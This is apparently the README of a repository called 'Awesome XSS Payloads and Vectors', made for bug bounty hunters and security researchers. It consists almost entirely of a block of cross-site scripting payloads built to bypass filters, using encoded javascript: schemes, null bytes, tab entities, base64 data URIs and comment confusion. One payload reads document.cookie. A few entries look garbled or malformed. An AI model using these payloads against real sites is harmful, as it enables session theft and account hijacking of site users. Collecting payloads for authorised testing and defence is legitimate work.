└── readme.md


/readme.md:
--------------------------------------------------------------------------------
 1 | # Awesome XSS Payloads and Vectors
 2 | Exotic and uncommon XSS Vectors to hit the target as quickly as possible.
 3 | THIS IS SPECIALLY FOR BUG BOUNTY HUNTERS AND SECURITY RESEARCHERS.
 4 | 
 5 | I REQUEST TO CONTRIBUTE TO THE PROJECT BY INCLUDING ONLY HIGHLY EXOTIC XSS VECTORS.
 6 | 
 7 | 
 8 | ```
 9 | “><svg/onload=alert(document.domain)>”@x.y
10 | 
11 | <svg onload="alert(1)" <="" svg=""
12 | 
13 | <</p>iframe src=javascript:alert()//
14 | 
15 | <iframe/src=j%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0t:prompt `1`>
16 | 
17 | %22%3e%3c%5K/onwheel=alert(1)%3emouse%20wheel%20here%3c%21--
18 | 
19 | „> <img src = x onerror = javascript: alert (1); …
20 | 
21 | onerror%3Deval%3Bthrow'%3Dalert%5Cx281%5Cx29'%3B
22 | 
23 | <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
24 | 
25 | <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
26 | 
27 | &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>
28 |   '
29 | <--`<img/src=` onerror=alert(1)> --!>
30 |   
31 | '';!--\"&lt;XSS&gt;=&{()}
32 | 
33 | ¼script¾alert(¢XSS¢)¼/script¾
34 | 
35 | “><s”%2b”cript>alert(document.cookie)</script>
36 | 
37 | <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
38 | 
39 | a=\"get\";
40 | b=\"URL(\\"\";
41 | c=\"javascript&#058;\";
42 | d=\"alert('XSS');\\")\";
43 | eval(a+b+c+d);
44 | 
45 | <w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
46 | 
47 | <svg•onload=alert(1)>
48 | 
49 | <!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //># //This payload is used to fool and bypass advanced xss filters by fooling as if it is comments.
50 | ```
51 | 


--------------------------------------------------------------------------------